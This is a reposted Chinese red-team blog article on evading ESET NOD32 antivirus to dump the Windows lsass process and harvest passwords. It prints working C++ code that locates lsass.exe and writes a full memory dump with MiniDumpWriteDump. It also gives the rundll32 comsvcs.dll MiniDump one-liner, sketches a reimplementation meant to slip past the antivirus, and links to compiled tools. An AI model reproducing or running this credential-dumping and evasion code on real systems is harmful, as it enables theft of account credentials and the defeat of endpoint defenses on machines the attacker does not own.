记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

红队技巧:绕过ESET_NOD32抓取密码

2021-02-17 10:46

Editor's Note

我个人是一名业余安全爱好者,编程能力稍差,关注比较多的也只就是后渗透和Bypass这块,个人是比较推荐冷逸老哥公众号的文章,比较贴近实战场景。

鸿鹄实验室 Author 鸿鹄实验室a

鸿鹄实验室
鸿鹄实验室

鸿鹄实验室,欢迎关注

0x01 前言

冷逸老哥这篇文章中提到的虽说一个老方法,但也算是一种新的利用姿势,可以用来绕过安全防护软件对rundll32等敏感操作行为的拦截。


0x02 正文

聊一聊绕过ESET_NOD32抓取密码的方法,这里的ESET_NOD32指的是ESET_NOD32 File Security For Microsoft windows server,测试版本如下:


为试用版本,并不影响我们的测试效果。目前很多的dump手法使用的是利用MiniDumpWriteDump这个API进行进程的内存dump,demo如下:

#include <windows.h>#include <DbgHelp.h>#include <iostream>#include <TlHelp32.h>#pragma comment( lib, "Dbghelp.lib" )using namespace std;
int main() { DWORD lsassPID = 0; HANDLE lsassHandle = NULL; HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 processEntry = {}; processEntry.dwSize = sizeof(PROCESSENTRY32); LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) { while (_wcsicmp(processName, L"lsass.exe") != 0) { Process32Next(snapshot, &processEntry); processName = processEntry.szExeFile; lsassPID = processEntry.th32ProcessID; } wcout << "[+] Got lsass.exe PID: " << lsassPID << endl; }
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID); BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (isDumped) { cout << "[+] lsass dumped successfully!" << endl; }
return 0;}


编译好版本可以去我的Github下载:

  • https://github.com/lengjibo/RedTeamTools/tree/master/windows/hashdump

我们来看看ESET_NOD32对它的反应:


无情的删除,因为这类API已经被拦截的很严重了。这里我们使用另外的一种方法来进行操作。首先我们来看一个白名单文件, comsvcs.dll,使用它dump的方法如下:

rundll32 C:\windows\system32\comsvcs.dll MiniDump "1234 dump.bin full"


1234为lsass的PID进程号,注意需要管理员权限,而这类行为又属于敏感行为,所以我们来自己实现一个该DLL的功能,主要为MiniDump,其为comsvcs.dll的一个导出函数。


而权限提升可以使用RtlAdjustPrivilege来进行,这个函数封装在NtDll.dll中,MSDN没有专门的文档介绍它,就是说你在MSDN上查不到关于它的任何信息,但是可以在微软官方的WRK(Windows研究内核)里找到它的源代码。其定义如下:

NTSTATUS RtlAdjustPrivilege(ULONG Privilege,BOOLEAN Enable,BOOLEAN CurrentThread,PBOOLEAN Enabled)


剩下的将刚才所说的函数进行实现,demo如下:

typedef HRESULT(WINAPI* _MiniDumpW)(  DWORD arg1, DWORD arg2, PWCHAR cmdline);
typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)( ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled);


最后成功的绕过了绕过ESET_NOD32 dump了进程。


工程下载地址:

  • https://github.com/lengjibo/RedTeamTools/tree/master/windows/MiniDump




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?


推 荐 阅 读





知识来源: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486625&idx=1&sn=1514109f1b065fbf69566397cc442d13

阅读:232983 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“红队技巧:绕过ESET_NOD32抓取密码”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

广而告之 💖

标签云 ☁